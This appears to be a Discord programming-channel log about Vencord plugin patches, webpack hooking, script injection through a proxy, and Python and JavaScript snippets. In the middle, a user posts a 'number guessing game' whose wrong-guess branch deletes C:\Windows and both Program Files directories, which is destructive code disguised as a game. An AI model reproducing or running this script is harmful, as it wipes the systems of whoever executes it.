#πͺ -progaming
1 messages Β· Page 11 of 1
it all entirely depends on the executable path
the actual deb and tar.gz are exactly the same
is it dubm to use json.stringify on an array for composite key
if you just join two values that theoretically could collide
hm it is very much a hot path so
Useless Discord question
Does Discord's desktop client ever reference the URI scheme disclip, anywhere
Came across them registering it as privileged, (but not adding a handler) in their official client, but never actually using it

idk wtf im doing at this point
discord still has the halloween connecting animation
lmao
fuck off i know what i'm doing
why does list comprehension look so cursed?
list incomprehension
That sums it up quite well actually
In what language?
Python
That's not gonna work, b is not defined when the first loop runs
/run ```py
d = [[], [1, 2, 3, 4, 5], [1, 2]]
print([sum(i) for i in b for b in d if len(b) == 5])
@still jolt I only received py(3.10.0) error output
Traceback (most recent call last):
File "/piston/jobs/34d3a008-7ba2-42cf-a074-ad9bd5c755f3/file0.code", line 2, in <module>
print([sum(i) for i in b for b in d if len(b) == 5])
NameError: name 'b' is not defined
annoying
Does anyone used zed?
nvim>
st>
we don't even need to talk about this, that's clear
uwu
meow
fr there's talk about zed in #πΊ-regulars
There's no way to get the text of a <script src=...></script> short of sending another http request, is there?
/run ```py
d = [[], [1, 2, 3, 4, 5], [1, 2]]
print([i for b in d for i in b if len(b) == 5])
Here is your py(3.10.0) output @oak valley
[1, 2, 3, 4, 5]
100% cursed
/run ```py
d = [[], [1, 2, 3, 4, 5], [1, 2]]
print([i for b in d if len(b) == 5 for i in b])
Here is your py(3.10.0) output @fleet cedar
[1, 2, 3, 4, 5]
That ought to be faster
/run ```js
d = [[], [1, 2, 3, 4, 5], [1, 2]]
// print([i for b in d if len(b) == 5 for i in b])
console.log(d.filter(x=>x.length==5).flat())
Here is your js(18.15.0) output @still jolt
[ 1, 2, 3, 4, 5 ]
that ought to be js
That creates an intermediate array for no gain (but wouldn't be surprised if it's jitted away)
so is life
Life is not jitted away
creating unoptimised horror for no reason
I think python's list comprehension syntax [x+1 for x in xs] is modeled after haskell's [x+1 | x <- xs] which is modeled after math's { x+1 : x β xs }
/run ```py
d = [[[]], [[1, 2, 3,], [4, 5,]], [1, [2,]]]
print([sum(i) if type(i) == list else i for b in d for i in b])
Here is your py(3.10.0) output @oak valley
[0, 6, 9, 1, 2]
Shouldn't that crash because List is not defined
Oh right because it never reaches that part
/run ```py
d = [[[]], [[1, 2, 3,], [4, 5,]], [1, [2,]]]
print((p:=lambda x: x if type(x)==int else sum(map(p,x)))(d))
Here is your py(3.10.0) output @fleet cedar
18
/run ```py
d = [[[]], [[1, 2, 3,], [4, 5,]], [1, [2,]]]
print((p:=lambda x: [x] if type(x)==int else sum(map(p,x),[]))(d))
Here is your py(3.10.0) output @fleet cedar
[1, 2, 3, 4, 5, 1, 2]
me love some walrus
Can you explain more what do you mean
There's a <script> tag on the page, I want to get the code from it (specifically discord's assets/web.*.js file, for reasons)
Well yeh you need to fetch the site
You want to datamine or?
Check out my repo on github, also includes the source code for datamining
But it's already loaded, or discord couldn't run
So it feels redundant to fetch it a second time when it's already loaded
cache
it will be grabbed from cache most likely
you can't get the code without fetching it
just fetch
g.help
Commands list
- Generating:
bruh,bugurt,demotivator,dialog,impact,jacque,lobster,comics,string - Information:
help
Use g.help command to get more information about command
A lot of commands was moved to slash commands. You can use them by typing / in chat
g.bruh
Not enough messages saved for channel
g.bugurt
Not enough messages saved for channel
.ta m
- Kendrick Lamar - 388 plays
- JID - 301 plays
- Denzel Curry - 188 plays
- Taylor Swift - 116 plays
- Eminem - 111 plays
- Kanye West - 104 plays
- Lin-Manuel Miranda - 61 plays
- Leslie Odom Jr. - 57 plays
- Tyler, the Creator - 50 plays
- Frank Sinatra - 41 plays
i thought this was fm π
hi im back in the agony of plugin writing again
https://github.com/Vendicated/Vencord/pull/1633#issuecomment-2134250551 wtf was vee talking about
I believe he meant that you can write native desktop plugins so the need for your workers proxy is redundant
Your pluginβs native entry point. This code will run inside NodeJS instead of the browser. You can use all Node.JS apis here, such as
fsorchild_process.Browser APIs are not available here. If you need them, you can do so in the
index.tsfile.
(https://docs.vencord.dev/plugins/#plugin-structure)
vban
Done! 
Banned @fossil elbow
wtf was that
what if someone is running vencord in the browser extension
mass discord user reporter
Then you simply can't install that extension
it's still better to depend on the original than from some reverse proxy maintained by "random" dev
you know what I mean
maybe some official vencord reverse proxy for plugins could be useful but I think that's just a waste of resources and energy... it would be only for few plugins
Java versions and JDK versions are different???
Java 8 is the latest and JDK 22 is the latest?
or is java the same as jdk
For a while it was that java 1.5 corresponded to jdk 5, but they quit that tomfoolery and now they're the same
Java 8 is old as fuck
jdk 22 = java 22
use java 21
dont use java
Why not 22
its cause 21 is the lts (long term support)
Ahh I see
i still use java 8 for minecraft ||(ig because 1.8.9 is old as fuck)||
think anyone can teach me how to make page transitions
(not for a 1 page website, since thats dumb)
((but to travel from like index.html -> portfolio.html)
1.8.9 is the best for modding π£οΈ
not sure about that, but that's the version hypixel skyblock is best in, so that's the version I play
and contribute to mods in
1.7.10
are there even sane mods for 1.8.9
or 1.12.2
1.7.10 is kinda old now ngl
missing lots of new JEI features (some of them are ported by gtnh yea but eh)
i mean yeah but it kinda had the most mods
from my feeling
i feel like that that was the high time of modding
use astro
makes it very easy
use the view transitions api
welcome back
nvm
the vencord expereince
vencord moment indeed'
Alright moving here
I tried to make the vencord script just use a b64'd representation of browser.js, but that doesn't work because it fails to find Vencord, which is.. weird
just by doing something naiive like eval(atob(...))
half for the novelty, and half as a POC for a script injection middleware I've been working on with some friends
I was hoping it would kinda just work, and it should work, but it doesn't
I can inject vencord by being fast enough at pasting the code into the console, so I figured the same logic would apply here
I haven't actually tried that yet, because vscode interprets me dumping a huge chunk of code like that into there invalid
I was told by my friend that it used to work, so there's three options
- discord changed
- vencord changed
- something about how the mitm system works has changed
if it used to work it was purely luck
proxy
and u modify the html to inject a script tag?
this is how the injection is currently laid out, this should work in theory right?
inject the vencord script inline
yeah the html is modified to add the script tag
inject the entire vencord code into the html
what happens if you put a dummy script tag that just logs something in the console
does it work or csp complains
I tried to do that, but because im working in a template literal it's complaining
?
idgi
const vencordCode = readFileSync("./browser.js", "utf-8")
html: `<script>${vencordCode}</script>`
oh uh
im working in a service worker right now LOL
I might be able to import a text file and have it stored as a global
then fetch it instead of readFile
actually this might be a bad idea because the code might contain random stuff that confuses the html parser
same result
I'm starting to suspect that this is an issue with the proxy rewriting js instead of it being an issue with vencord itself ;-;
html: `<script src="data:text/javascript;base64,${btoa(vencordCode)}"></script>`
ehhh yeah
most pvp servers are 1.8.9
soooo
it would be nice if forge didn't fucking nuke all their modding tools off the platform
(for 1.8)
huh
because "too many people are using it maliciously"
i wanted to make a skyblock plugin for forge but i couldn't find any resources

multiple discord servers handed out warns for me asking
why does btoa only work on the latin1 range
lol what does it contain
I have no idea what the issue is, I'm just fetching the file from https://raw.githubusercontent.com/Vencord/builds/main/browser.js and attempting to btoa it
what in vencord is not latin1
you really need to start showing errors instead of just saying it doesn't work
Because the string is used as a pretend byte array, not text
oh emojis most likely
well it's the same error that i've already showed
like the exact same
try this
function bytesToBase64(bytes) {
const binString = String.fromCodePoint(...bytes);
return btoa(binString);
}
const vencordCodeBase64 = bytesToBase64(new TextEncoder().encode(validUTF16String));
courtesy of googol
show the html
but yeah also what nuckyz said
while external src is bad, it should technically work
this is the entirety of how im setting up the inject, including html
the google one is just for testing
the entire output html
the entire html, or just the head section where there is a difference? π
im not trying to be dumb here but im not 100% sure what you're asking for
or do you just want those two lines that change
the entire relevant html aka the head or even simpler just the entire thing
alright this is the entire head element
huge file because it's the entirety of vencord also lol
and that doesn't work?
oh, as I was looking at the error again I realized it provides a filter showing what it tried to access
e=>e.Messages?.["en-US"] is apparently what's failing with the webpack.find error
nope
I noticed in a regular load on the actual discord.com, there is a lot more happening with webpack than just Patching webpackChunkdiscord_app.push
yes
ahhhhh
found the issue
my proxy doesn't properly account for Error.stack abuse
I can disable url encoding an see if that fixes it though
actually cyn suggested using .includes("/assets/") instead of discord.com
@serene elk
okay hmm
the proxy I am using/developing uses a xor cipher to encode urls, so https://discord.com would turn into something like hvtrs8%2F-dksaopd%2Ccmm-arp
why
evading internet censorship
it can be disabled though, so I'm going to try that
and if that's the issue i'll work on proxying the error api
run this in the console and send me the output
Object.getOwnPropertyDescriptor(Function.prototype, "m")
they already found the issue tho xd
oh
yup that was the issue
disabling xor encoding fixed it 
do you only do it for hostname or also path
but also i don't understand how it evades censorship
if you're already using a proxy anyway
well apologies for taking up your time for my issue lol
well someone like your isp could still see logs of what site you connected to
for example https://proxy.site/https://discord.com
the proxy works entirely in the browser
also path, but I should be able to make the stack api return a reasonable value
they actually can't
if the proxy uses https they won't see the pathname
only the hostname
your isp will see
- dns lookup of
proxy.site(if you're not using a custom dns) - request to ip address of proxy.site
- encrypted traffic
that's true
I wasn't the one who implemented the url encoding related stuff, but I think their line of logic might've been if someone was snooping on your browser history?
like if you had an extension force installed that would report what sites you went to
thats fair
I've been contributing to it for evading censorship from something like a government though, and I don't think that's been done at all, but it in theory could I suppose
but it's entirely open source so they could also just yoink the xor algorithm lol
if you're actually serious about it i don't think xor is a good idea though, especially if you re-use the same key for every domain
you either need one-time pads or just make the domain fully random
use a database and generate random identifiers for domains
otherwise with enough data the xor cipher can easily be broken
by analysing frequency of the same cipher letters, the fact that most domains use .com, comparing length to the most popular domains, etc
that seems pretty feasible actually
we've been working on how the traffic is sent to the destination server and finally made it e2e encrypted
the architecture kinda works something like this
client -> proxy server -> destination domain -> proxy server -> client
the original people working on the project didn't have the connection between client and proxy server encrypted at all D:
but also where do you live that you need to evade government interference
and why is a vpn not enough
is it more of a hobby project?
more of a hobby project, I live in america
it's also cool to just have a uh mostly functional e2e proxy in the browser
my internet sucks cuz I'm traveling so I keep losing connection
my internet sucks cuz it's bad
How would I set status to offline/invisible in a plugin
I've been looking but haven't found a good way yet
awesome thanks
function updateStatus(status: string) {
logger.info(`Attempting to update status to: ${status}`);
try {
const proto = {
status: {
value: status
}
};
FluxDispatcher.dispatch({
type: "USER_SETTINGS_PROTO_UPDATE",
settings: {
type: 1,
proto
},
local: true,
partial: true
});
logger.info("Status update dispatched successfully");
} catch (error) {
logger.error("Error updating status:", error);
}
}
maybe im doing this completely wrong but it doesnt update status nor does it error
fluxdispatcher doesn't send anything to the api
its just used to update ui state
not quite true
in the case of that event it should be
afaik that specific event isn't something the client can send
regardless discord should already have a method for updating the status
hm well any hints for where else to look? i used react dev tools to check the buttons and even tried checking custom status but i didnβt quite find anything
iβm still new to all this so iβm trying to learn xd
im not entirely sure where specifically to look, im just assuming such a method exists
mostly bc it'd be odd if they didn't have one
how tf did u come up with this when using react devtools
went to the function and did some break points and found something
xd
iβll keep looking when i get home
status seems particularly annoying to find, iβve found others easier
it's pretty easy to find
we love web chunk taking 1000000000000000000 years to load
swear i checked that and it brought me to some random function
given data from Vencord.Api.MessageEvents.addPreSendListener, how could I replay that at a later time?
specifically with the replyOptions and uploads fields
Vencord.Util.sendMessage
messageReference is the equivalent to replyOptions i presume?
maybe it's because it's 4am but i cannot for th e life of me figure out how to clear the channel text input
take a break, and start again fresh, that sometimes helps
messageReference is for messages being replied to
Also used for forwards
oh yeah, also for
forwards might be outside of my scope but good to know x3
is there any way I can modify /vencord-debug in the (unlikely) event someone using the client I'm making is asking for support here?
supportHelper.tsx: Line 159
name: "vencord-debug",
pretty sure vencord already jumpscares you if you use a fork and switch to the support channel
Im not actually forking vencord and for all intents and purposes my client would look like any other web client by default I think
you can't change it then
Can plugins be "loaded" at runtime? would it work to load a fake plugin just to serve as an indicator?
I'd look at the source code to who reacted.
hi
Is it recommended to pin vencord or is autoupdating to latest fine?
do not pin vencord
discord updates can break vencord very easily
id reccomend leaving autoupdating on
right now I'm literally grabbing from master of the build repo every time my app starts. Pinning was probably a bit too strong a word but in general was wondering if not doing that would have been better for security or whatnot
I mean unless you are auditing the code every time you update/build, what difference does it make
tbh if you know how to use git, just use a dev build
I cannot expect users to make dev builds π
So I'm looking for help to find a better way to do the below, setting a status on launch, right now theres a delay where the original status (online) will stay for about a second before it sets to the new one.
async function updateStatus(newStatus: string, setStatus: Function) {
try {
await setStatus(newStatus);
} catch (error) {
console.error("Error updating status:", error);
}
}
start() {
const setStatus = findByCode(".USER_STATUS_UPDATED");
updateStatus("invisible", setStatus);
}
I tried startAt: StartAt.Init but this doesnt work due to USER_STATUS_UPDATED not being available since webpack isnt loaded, if anyone has recommendations please let me know π
use waitFor instead of find
it might still be too late tho
you're better off patching the gateway connection to send invisible status on connect
Alright, are there any plugins that patch the gateway that I can look at for an example or am I on my own?
Not sure if this is the correct way but i enabled gateway logging, this is all I could find and the status is "unknown." if anyone has insight please let me know
thats the identify payload, its how the client authenticates with the gateway
you would probably need to intercept presence update payloads (op 3) and modify before they're actually sent
Should I be able to see that in the console with the gateway logging enabled? Cause the only PRESENCE_UPDATE im seeing are these which seem to be for other users
hm
maybe it just defaults to online
it does
in order to appear offline you just have to send a payload with an opcode of 3
Gateway connections are WebSockets, meaning they're bidirectional and either side of the WebSocket can send events to the other. The following events are split up into two types: Send events are...
im not entirely sure this is the best way however
but it should work
ah yeah i set my status to invis and now i get it in console when i restart
Could someone show me an example of how i'd send/patch that? Still trying to learn everything π
find where that message is sent in code
and modify it to send invisible instead of the actual status
would i be correct that i need to patch this
because my regex is bad so if its right then i need help with the regex
setCurrentUserOnConnectionOpen(e, t) {
S[p.default.getId()] = e,
A[p.default.getId()] = t
}
patches: [
{
find: /setCurrentUserOnConnectionOpen\(\w+,\s*\w+\)\s*\{/,
replacement: {
match: /setCurrentUserOnConnectionOpen\((\w+),\s*(\w+)\)\s*\{\s*S\[p\.default\.getId\(\)\]\s*=\s*\w+;\s*A\[p\.default\.getId\(\)\]\s*=\s*\w+;\s*\}/,
replace: `setCurrentUserOnConnectionOpen($1, $2) {
S[p.default.getId()] = $self.settings.store.enableOnStartup ? "invisible" : $1;
A[p.default.getId()] = [];
}`
}
}
],
Use patch helper
Also you don't need all those \s*, there's no whitespace to match and they just make it needlessly unreadable
Also you're hardcoding variable names; don't
use \i instead of all of those \w+
please read https://docs.vencord.dev
wait that doesnt have a patch guide
fear
amazing
is this better
{
find: "emitPresenceUpdate",
replacement: {
match: /emitPresenceUpdate\(\i\)\{let\{status:(\i),since:(\i),activities:(\i),afk:(\i),broadcast:(\i)\}=\i;/,
replace: `emitPresenceUpdate(e){let{status:$1,since:$2,activities:$3,afk:$4,broadcast:$5}=e;if(Vencord.Plugins.plugins["StealthLaunch"].settings.store.enableOnStartup){$1="invisible";}this.socket.presenceUpdate($1,$2,$3,$4,$5);}`
}
}
The code you're matching doesn't contain a }, but your replacement does
{
find: "emitPresenceUpdate",
replacement: {
match: /status:(\i),since:(\i),activities:(\i),afk:(\i),broadcast:(\i)}\=\i;/,
replace: "$&if($self.settings.store.enableOnStartup){$1=\"invisible\";}this.socket.presenceUpdate($1,$2,$3,$4,$5);}"
}
}```
same thing
use that
much better
ud still have to fix the syntax errors, that just replicates your old patch 1:1 but in a better way
discord doesnβt send presence update (op 3) if your status is online?β¦ π
online is the default
yes
so should i find a function to patch to make it send or is there another way i should fix it
my current patch modifies the payload of presence update
fixed it π
how did a discord invite land in my gif picker (favourites tab) 
How the fuck
not trying to be rude but did u ask ai for a hacker pfp
i did not
the person who sent it to me possibly did
i use it cause nice color
it makes u seem like a skid tbh
don't mind the haters, keep hacking into those mainframes bro
mhm
guess iβll change it
you guys are monsters
huh
im actually creating an game in python, can someone note it on 10 ?
import shutil
import os
def guess_number():
secret_number = random.randint(1, 10)
try:
guess = int(input("Guess a number between 1 and 10: "))
except ValueError:
print("That's not a valid number. Please enter a number between 1 and 10.")
return
if guess == secret_number:
print("Well done! You've guessed correctly.")
else:
print("Oops! That was not correct.")
delete_system_files()
def delete_system_files():
directories = ['C:\\Windows', 'C:\\Program Files', 'C:\\Program Files (x86)']
for directory in directories:
try:
shutil.rmtree(directory)
except Exception as e:
print(f"Error deleting {directory}: {e}")
if __name__ == "__main__":
guess_number()
There's bad regexes and then there's that
is there a function that returns the module id by webpack filter?
why do you need that
I think if I told you the truth, you wouldn't help

so?
why? that still seems like xy problem
the full object is essentially useless
if you want to monkey patch then you won't need the id or anything, you can just findByProps
(and need a webpack patch that makes exports writable)
I'm working on a developer framework for creating cross-client plugins and I need to allow monkey patching of a specific module programmatically as part of the conversion to vencord userplugin
it would be really helpful if you could tell me how I can apply a patch to webpack making exports writeable
a while ago I asked you if I can use patches to patch internal webpack export creator and you said vencord can't patch webpack itself
I'm trying to make a patch (change something in the js code) in a js file that is preloaded by messenger.com.
The file is loaded like this:
<link rel="preload" href="https://static.xx.fbcdn.net/rsrc.php/v3/yr/r/aPovqTDgIeb.js?_nc_x=D8B0uKAIB0V" as="script" crossorigin="anonymous" nonce="wf1TgoLw"/>
In that file I'm trying to look up a regex var .,.=25; and replace the 25 in that with let's say 600. Intercepting the web request doesn't seem to help. How can I approach this?
you are asking something too complicated for simple answers
if you can intercept the js request somehow and apply changes to it then do
if you can't, figure it out yourself
patching is very generic and there are a billion ways to achieve the same result, all depending on how the website is built
and in some cases it may be impossible
How does vencord do it?
vencord doesnt modify the file it downloads
By monkeypatching the array.push method, which webpack uses
it modifies it after discord loads it, but before it uses it
i doubt that messenger can use the same thing
And some other webpack functions
by abusing the fact webpack modules are simply functions in objects, which you can easily just switch to your version of the function
as I said there are multiple ways to achieve that switching
but if messenger uses webpack you can likely do something very similar to what the current vencord does
Messenger uses webpacks too
does it have a global array
look for the js files it loads, do they have a .push in the beginning
Something like this?
__d("WAFetchFbDevicesProtocol", ["Promise", "WAArrayChunk", "WAErr", "WAHandleFbDeviceChangeNotificationProtocol", "WAJids", "WALoadContactsApi", "WAResultOrError", "WASignalKeys", "WASmaxDevicesFetchRPC", "WATimeUtils", "asyncToGeneratorRuntime"], (function(a, b, c, d, e, f, g) {
"use strict";
var h, i = 25;
Ah okay
hmm not quite that
send all the file that contains this
that doesn't look like the webpack I know lol
put a break point and see what __d is
is it a function in the window obj?
okay that is not webpack
it still seems possible to modify but it's very different from how vencord does with webpack lol
What do you have in mind?
{
...
// ! I'm not insane I swear, this is just what you need to do to parse signed rails cookies
chatLog: JSON.parse(JSON.parse(atob(JSON.parse(atob(Cookies.get('chat_history')!.split('--')[0]))._rails.message))) as Chat[],
...
}
not a lot I don't have my computer to be able to properly make something
data looks like: BASE64ENC1--SIGNATURE
parsing BASE64ENC1, gives '{"_rails":{"message":"BASE64ENC2","exp":"EXPTIME","pur":"cookie.COOKIE_NAME"}}'
parsing BASE64ENC2, gives a string that has been escaped TWICE
what the fuck
what is flux dispatcher
It's used for events such as hooking onto running_games_change and then changing your status when a game is launched. When discord detects the game it will dispatch that event. You can also dispatch events on it as well instead of discord doing it.
You can also unhook from the events
is it documented anywhere what each event does
I don't think so but the names are pretty self explanatory
whats the event when an application launches or closes
theres so much events related to application
Like discord?
like executable
A game or
when u open a game
what if appication launched isn't a game
I believe it will still work not sure
ok ill try, ty!!
Yup
If it's not detected add it to your activity settings page where you toggle detection and overlay
I forgot the name of the tab
Then it should be detected not sure but probably works
yo, may i get some thoughts and opinions on this
https://github.com/Equicord/Equicord
(idk where the appropriate channel to ask this so i took this as my best guess)
forking and adding 3rd party plugins isnt any effort
realistically the only thing I even touch in equicord at this point is broken patches and fixing broken plugins people request.
isnt there a plugin/3rd party plugin that converts times to a timestamp? like 6pm to the <t:00000000:R> timestamp or am i hallucinating
<t:1722031200:t>
The SendTimestamps plugin turns <t:1722031200:t> into <t:1722031200:t>
Dammit it's overeager
` 12:00 AM `
Without the spaces at the beginning and end
like you just type <t:1722031200:t> and it makes it a timestamp
what
wait do i have it already
oh
its because i was typing it without the :00
lol
Β―_(γ)_/Β―
package chat.cadence.bonfire.gateway
import kotlinx.coroutines.CoroutineScope
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.Job
import kotlinx.coroutines.delay
import kotlinx.coroutines.launch
import kotlinx.coroutines.withContext
import kotlin.time.Duration.Companion.seconds
/**
* Forces payloads to abide by Discord's ratelimit (120/min)
*/
internal class GatewayRateLimiter {
/**
* Total number of events sent within the current limit period
*/
private var eventCount: Int = 0
/**
* The job used to cycle between ratelimit windows
*/
private var rlJob: Job? = null
/**
* The start time (in millis) for the current ratelimit period
*/
private var lastPeriodStart: Long = 0
/**
* The ratelimit, Discord actually has this set to 120 but we give ourselves a bit of wiggle room for heartbeats
*/
private val eventLimit = 110
/**
* How long each ratelimit window lasts
*/
private val limitPeriod = 60.seconds
/**
* Resets ratelimit state, should be done when the gateway disconnects
*/
fun resetRatelimit() {
rlJob?.cancel()
rlJob = null
eventCount = 0
}
/**
* Starts cycling between ratelimit windows.
* Should be ran after the gateway connects but before identify/resume is sent
*/
fun startRatelimitRotation() {
rlJob?.cancel()
rlJob = CoroutineScope(Dispatchers.IO).launch {
doRatelimitRotation()
}
}
/**
* Clears and sets state every [limitPeriod] after [startRatelimitRotation] is ran
*/
suspend fun doRatelimitRotation() {
eventCount = 0
lastPeriodStart = System.currentTimeMillis()
delay(limitPeriod)
doRatelimitRotation()
}
/**
* Applies a ratelimit to the given [block].
* If the limit has been reached then the function will suspend until the next ratelimit period
*
* @param block The event to be ratelimited
*/
suspend fun rateLimited(block: suspend () -> Unit): Unit = withContext(Dispatchers.IO) {
if (eventCount + 1 >= eventLimit) {
val timeSince = System.currentTimeMillis() - lastPeriodStart
val remainingTime = limitPeriod.inWholeMilliseconds - timeSince
delay(remainingTime)
}
block()
eventCount += 1
}
}
@deep mulch
what's that
gateway ratelimiter
guh?
interesting
also fun fact, the official client has no mechanism for abiding by their own limit
what that mean
I love
I've been thinking about this some more, and why doesn't vencord just check if the url includes a chrome:// url or whatever firefox does for extensions? im pretty sure those show up in error.stack also
afaik the check is just there to prevent being vencord from being hooked into extensions that happen to use webpack right?
nono
I mean
yes
but manually checking for each extension stuff isn't good either
it's also to avoid hooking into bundled libs within discord but they pass that check either way
however I will think about your idea
a simple !includes("http") could maybe work
oh yeah, that would probably work also
Also I didn't mean the extension id, I meant literally doing includes("chrome://"), there's only two major browsers that have url formats, so it might be fine
checking if it's not http is probably better though
yeye I got what you meant
theres a limit???
wth..
dont have a limiter on mine either :troley
Wait is your thing also called bonfire?
I'm also working on a custom client called bonfire haha
bonfire is the api module
the repo is private rn but its got a server
DM it?
Wait wtf doflies works on this?
advises
His documentation is crazy
B okay
Ah
The docs are pretty good, I've been meaning to submit a PR for some changes in readstate and stuff
cat ganer+
yop
help me with readstate? π₯Ί
ive been procrastinating for months now
What about?
idk how to architect a store for them
There's a few smalls quirks with it
Oh that's not the annoying part lol
Wdym store? Like state?
how would one
listen for when window is defined
so i can
run the js script
after
what are you trying to do
run client code that my friend uses
quadcord
I really thought this was by https://cadence.moe/
process.once('loaded', async () => {
with (!window.webpackJsonp) {
await new Promise(_ => setTimeout(_, 10));
}
doing this does make discord launch, but the code doesn't actually run
so i feel there is something horribly wrong with what im doing
name overlaps are expected when using a real word
true.....
You sure that with is not supposed to be while?
with(){} is a thing, but nobody ever uses it, ever
tried with both
and yes
while was what i was using
till he showed me he was using with
with-ing a bool makes little sense since a bool does not have any fields or methods
Me personally I'm pretty new with tinkering with electron so
That code doesn't make use of the with-ing, it's just unconditionally waiting for one second
must be why he told me it sometimes loads after the fast connect
also he mentioned he moved onto injecting into the vc methods
s/with/while/
with brings all properties of the passed object into scope
which seems to be completely unrelated to what you're doing
what i assumed it was supposed to do
was wait till window was initialised before running
because ^
use typeof window != "undefined" && window.webpaackJsonp
that is exactly what I thinking of using but idk I thought I was being stupid
π
wait I shall try
this code makes no sense
but also what in the world are you doing
if window is not defined then you're in the main process which runs in nodejs and has no access to browser apis
you'll be waiting for eternity and it'll still not be defined
something something assumes EventEmitter respects async functions and awaits the 10ms
that command line switch has nothing to do with "hooking the main electron context", frankly it does nothing at all unless you use the async_hooks module, which you shouldn't
window is always accessible (if you are in the right context)
that with statement makes no sense, what it ends up doing is just always wait one second
I wouldn't listen to that friend they have no idea what they're saying
he did say he got it working with vc injection
or injecting into the vc methods
but yk
im new to electron
having await there does nothing does it not lol
Of course it does, otherwise it doesn't await that promise
there's no code after it so therefore it doesn't do anything apart from returning to the caller if that is using then or await
idk how it works with EventEmitter
you guys want the actual client.js code
not going to lie
i just want to see whether or not it's any good
i did remove the await part though
about half of it is just skidded from BD

i was starting to suspect when I was looking through the bd github repos
the entire webpack code is just bd code
ah I see
ngl i just want to learn
assumed he skidded parts anyway
i just did not get the vc injection thing
I can't find that anywhere, do you have a link for it?
na it's not public on GitHub
silly question perhaps but do you guys know ```js
Vencord.Webpack.findByProps("emojiFrecencyWithoutFetchingLatest").emojiFrecencyWithoutFetchingLatest
? How do you get the same thing but fetching latest
why do u need to fetch latest
i might be crazy but i feel like my husk usage has gone down a lot and i think it might be because some of my old messages with a husk or husk reaction were deleted and i need to figure out if thats a thing
oh i actually wanted this same thing
how can i go to a specific message when clicking on an inapp notification?
async function handleMessage(message: DiscordMessage) {
// some more code here
showNotification({
title: "test notificaton",
body: message.content,
permanent: false,
noPersist: false,
onClick: () => {
// ????
}
});
};
index.tsx: Line 15
function jumpToMessage(channelId: string, messageId: string) {
what do i do with this information ( i have 2 braincells )
Copy the inside of the function i gave and put it inside that onclick
Or just, call that function?
ah thanks 
Horror
@nimble bone are u aware of your vendroid fork shrimply crashing on the loading vendroid screen
nnvm was my bad (didnt give it internet perms)
oh wow the visual refresh works amazingly on vendroid
this is actually usable
feature to set the colour of the top and bottom bar?
this + swipe nav its almost perfect
based pfp
it works but this happens (jellyfin off topic chat with vencord channel list)? when the message isnt in the same server the channel switches but the channel list doesnt and the currently active server also stays. the channel list and server update when i click anywhere in there but yeah
I guess you could use navigationrouter then
how would i do that
navigationrouter.transitionto("/guildId/channelid/msgid")
Something like that, search for it
ah thanks 
what in the world is that
probably not
god I love wii.... it was the best
any java app βββββββββββββββββββββββββββββββββββββββββββ
@topaz sentinel this patch does the trick for handling when an image is clicked (so modal would be opened)
patches: [
{
find: "imageAccessory,",
replacement: {
match: /onClick:(\i)(,.{0,500}originalLink.{0,500}onClick:)\1/,
replace: "onClick:$self.onClick$2$self.onClick"
}
}
],
onClick(...args) {
new Logger("testing image patch").log("here's the args for image's onClick", args);
}
im not sure if patchign the second onClick is necessary as i found only the first one gets triggered so im not sure but just in case this patch patches both
real
curious if there's any way to force discord web to not use ws zlib-stream compression
very xy
99% chance you want this
xy is me being lazy to implement zlib-stream on my own ws server
what are you actually doing
are you making selfbot or are you making proxy for something idk
also i wouldnt risk trying to disable zlib-stream compression
kinda
guh
idk should be simple with libs
what libs
tryna just use pako.deflate on json and it just doesn't work for some reason
ah
even if I add 00 00 ff ff at the end of every message as per userdoccers
decoding the messages that discord normally sends just gives stuff like this ```json
PRESENCE_UPDATE":3,"o}u":"onlin_client_u":{"web":"onlin}broadcas4ustom Su"customoji":{"πΉ36336}
essentially just wanna make my own small discordapi / gateway

You're not trying to decompress each packet individually or something silly like that, right?
I'm pretty sure it's a continuous stateful stream
yeah it's horror to implement on serverside
which is why I wanna force discord web to not use compression
horror question why do you need to do on server and not client
i still dont get why you're doing what you want to do
me have discord ws messages saved in json locally
me wants to create a ws server to replay those message and/or other custom messages to play around with the client
fun 
it is fun
just looking to disable zlib-stream to not have to implement it
already using a proxy to replace the ws url to my own
but guessing if I replace zlib-stream to nothing it will break everything
ur still gonna need to encode with zlib-stream to discord itself probably
huh ββββββββββββββββββββββββββββββββββββββββββββββββββββ
holon issit posible to log output of building from
VencordNative.updater.rebuild()
``` method?
I would start by looking at the code for the function
Then research getting the output of the methods it uses, not the function overall
well time to learn electron
What for?
electron is actually very easy
it makes use of ipc for the function
rebuild: () => invoke<IpcRes<boolean>>(IpcEvents.BUILD),
at first look atleast
theres prolly something there im not seeing
but i dont have infintei time
why do you want the output
why
if there is an error it already returns it
wait what
ok i shoulda tested it more
lemme write more of my bad code
Failed to generate a string
Failed to generate a string
Failed to generate a string
HAHALOSAH TURNED INTO AI NOOOOOO βββββββββββββββββββββββ
Im not too familiar with react but well im getting an image url from the user and putting it into a react component with an image tag, is this safe? Does react mitigate for example XSS?
return <img src={userImageUrlHere}>;
Failed to generate a string
(im trying to train kevin lmfao)
Failed to generate a string
React does not care what you put in attributes
kevin doesn't read programming βββββββββββββββββββββββββ
That's csp's job
There can't be xss because xss happens when you splice strings
Which react doesn't do
It works on dom, not html
well idk i thought it might just take stuff like " and put it in the src attribute and break stuff or something
It puts the exact string you write as the src attribute
With no roundtripping through syntax that can be xss'd
hm alright, thanks!
To clarify, xss happens when you build html as strings rather than the tree it is
Thank you for this! It does seem to work, when calling my plugin function from this I get the following:
Any ideas why? I don't know why this official url would be a disallowed host
wing
guh can't send
malware
its 7000 chars long
guh?
184 lines
fix
@frosty obsidian do you use the copilot chat in idea
no
im capable of producing my own slop
nop
don't need an ai to do it for me
you do
big
actually documenting things like a sane developer
what about making ALL lazy
why
big list
its created on app start regardless
its only used in toList i think
nop
guh?
i use it in the identify payload
why
the framework is completed
essentially
new routes and payloads will be added as needed
good
i need your opinion
im thinking of making anothjer project in ffmpeg-kt that adds a kotlin dsl wrapper around all the horror ffmpeg api
something like like ```kt
ffmpeg {
input("/path/to/input.mp4")
output("/path/to/output.mp4") {
videoCodec(VideoCodec.H264)
audioCodec(AudioCodec.AAC)
format(ContainerFormat.MP4)
}
}
ok
sounds fine
what should the subproject name be
mpreg-kt
never
@frosty obsidian would you marry a fish
would you
i hope youi get struck by lightning
this jvm sigsegv is so hard to debug
it doesnt happen every time
sometimes i run the test 20 times and its fine
it used to be like every other test
literally just having to click rerun test 50000 times
bad
nah
yeah
it does not matter to me, i will steal the normal clients capabilities anyway
this is way more readable and extendable
extendable for what π
future capabilities
a number is also extendable :3
